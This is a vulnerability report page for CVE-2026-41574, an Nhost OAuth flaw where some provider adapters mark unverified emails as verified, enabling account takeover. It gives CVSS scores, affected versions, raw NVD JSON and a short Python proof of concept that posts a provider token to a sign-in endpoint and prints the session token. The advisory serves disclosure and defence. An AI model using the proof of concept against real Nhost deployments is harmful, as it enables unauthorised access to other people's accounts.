Security Vulnerability Report
中文
CVE-2026-41574 CVSS 9.8 CRITICAL

CVE-2026-41574

Published: 2026-05-08 15:16:41
Last Modified: 2026-05-13 17:46:46

Description

Nhost is an open source Firebase alternative with GraphQL. Prior to version 0.49.1, Nhost automatically links an incoming OAuth identity to an existing Nhost account when the email addresses match. This is only safe when the email has been verified by the OAuth provider. Nhost's controller trusts a profile.EmailVerified boolean that is set by each provider adapter. The vulnerability is that several provider adapters do not correctly populate this field they either silently drop a verified field the provider API actually returns (Discord), or they fall back to accepting unconfirmed emails and marking them as verified (Bitbucket). Two Microsoft providers (AzureAD, EntraID) derive the email from non-ownership-proving fields like the user principal name, then mark it verified. The result is that an attacker can present an email they don't own to Nhost, have the OAuth identity merged into the victim's account, and receive a full authenticated session. This issue has been patched in version 0.49.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nhost:nhost\/auth:*:*:*:*:*:*:*:* - VULNERABLE
Nhost < 0.49.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC demonstrating the attack flow. # Actual exploitation requires specific configurations on the OAuth provider side. import requests # Target Nhost instance target_url = "https://target-nhost-instance.com/v1/auth/signin/provider/token" # Attacker controls this account on the OAuth provider (e.g., Discord) # registered with victim's email but unverified. attacker_oauth_token = "fake_provider_access_token" # Payload structure typically sent to Nhost backend payload = { "provider": "discord", # or bitbucket, azuread, entraid "accessToken": attacker_oauth_token, "nonce": "random_nonce_value" } # Send request response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Successful Account Takeover!") print("[+] Session Token:", response.json().get('sessionToken')) else: print("[-] Exploit failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41574", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:40.580", "lastModified": "2026-05-13T17:46:46.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nhost is an open source Firebase alternative with GraphQL. Prior to version 0.49.1, Nhost automatically links an incoming OAuth identity to an existing Nhost account when the email addresses match. This is only safe when the email has been verified by the OAuth provider. Nhost's controller trusts a profile.EmailVerified boolean that is set by each provider adapter. The vulnerability is that several provider adapters do not correctly populate this field they either silently drop a verified field the provider API actually returns (Discord), or they fall back to accepting unconfirmed emails and marking them as verified (Bitbucket). Two Microsoft providers (AzureAD, EntraID) derive the email from non-ownership-proving fields like the user principal name, then mark it verified. The result is that an attacker can present an email they don't own to Nhost, have the OAuth identity merged into the victim's account, and receive a full authenticated session. This issue has been patched in version 0.49.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nhost:nhost\\/auth:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.49.1", "matchCriteriaId": "95C9D7EE-0469-4ACF-AECD-9C2C383217A9"}]}]}], "references": [{"url": "https://github.com/nhost/nhost/commit/ec8dab3f2cf46e1131ddaf893d56c37aa00380b2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nhost/nhost/pull/4162", "source": "[email protected]", "tags": ["Exploit", "Patch"]}, {"url": "https://github.com/nhost/nhost/releases/tag/auth%400.49.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nhost/nhost/security/advisories/GHSA-6g38-8j4p-j3pr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Patch"]}]}}